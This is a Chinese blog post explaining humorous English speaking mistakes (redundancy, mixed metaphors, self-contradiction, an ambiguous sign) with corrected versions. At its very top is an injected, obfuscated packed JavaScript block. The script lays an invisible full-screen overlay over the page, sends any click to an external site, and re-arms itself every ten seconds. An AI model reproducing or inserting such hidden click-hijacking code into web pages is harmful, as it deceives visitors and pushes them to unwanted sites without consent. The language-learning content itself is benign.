<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我们在日常生活中讲话，会经常犯一些错误，用词不当啦，语法错误啦，等等等等。通常，就算说错了话，大家也能够基本听明白。不过，要是错的太离谱，就会成为笑柄了。比如我们对主持人，播音员出的错，记得尤为清楚。同样，美国人在讲话中也会漏洞百出，今天我就想举几个知名人士的例子，目的是在博取大家一笑的同时，也提醒大家注意一些可以避免的错误。
维斯康星州Milwaukee市的一位棒球教练曾说过这样的话：
I think we have a pretty good basketball team. And we’re going to get better as we improve.
他的意思是：我认为我们有一支相当不错的球队。而且我们会在进步的时候进步。
上面这句话里，to get better的意思就是to improve。这么啰嗦地讲话，一看就知道是中学语文没学好，难怪会被人笑话。但是，要怎么说才合适呢？记得上学的时候做语文改错，内容重复就要删掉重复的部分。因此，我们可以说：And we’re going to get better.或者说: And we’re going to improve.如果非要用as，那就可以说: And we’re going to get better as time goes on.
另一个逸事还是发生在同一个城市里，这回就是政府要人了。他说：
Milwaukee is the golden egg that the rest of the state wants to milk.
(Milwaukee市是一个金蛋，整个州都想从它这里挤奶。)
这个错误太明显了，怎么可能从蛋里挤出奶来呢？也许是这个城市的名字惹的祸吧，谁让它叫Mil-wau-kee呢？讲话的人本来想做一个生动的比喻，可一不留神说走了嘴，搞得这句话不伦不类的，结果他想表达的意思大家没注意，倒是犯的错误让人记住了。
还有一个参议院曾经说：
By the way, before I start talking, I want to say…
(顺带一下，在我说话之前，我想说……)
这句话是明摆着的自相矛盾。“说话之前”就是还没说话的时候，他怎么可能在还没说话的时候说话呢？不难想象，他这话一出口，肯定引得哄堂大笑。所以，改一下这句话，把它变成：By the way, before I start talking about the issue, I wan to say…(顺带一下，在我谈论正题之前，我想说……)就不会闹出笑话了。
让我们再来看一下一位名人对一个特别火的餐馆的评价：
Nobody goes there anymore. It’s too crowded.
他的意思是：现在没人去那儿了。因为那里太拥挤了。
如果没有人去那里用餐了，怎么又会拥挤呢？他的本意是这个餐馆生意实在太好，导致大家都不敢去了，因为那里总是人满为患。可是一个nobody把所有的人都包括进去，结果这句话就变得自相矛盾了。当然，这个评论实际上还是相当幽默的，尽管有无心插柳之嫌。作为外国人，我们最好还是少效仿这样的幽默，因为这不但和听众有很大关系，和讲话人的身份也有直接联系。而且，就算是母语是英语的人，也不一定能够把握其中的分寸。
最后再讲一件趣事，是因为意思含糊而造成的。一位男士去公用厕所方便，看到了一张告示：Toilet out of order. Please use floor below.(马桶坏了，请用楼下)这个floor below可以有两种理解，一个是指楼下的厕所，还一个是指脚下的地板。这位男士理解成第二个意思了，结果……他就照着做了……
可见，“胡说八道”实在是难免的，而对于外语学习者来说，就更是必经的磨练了。我们讲错了不要紧，要紧的是知道错在哪里，这样下回就不会再错了！
作者：Gloria |
收藏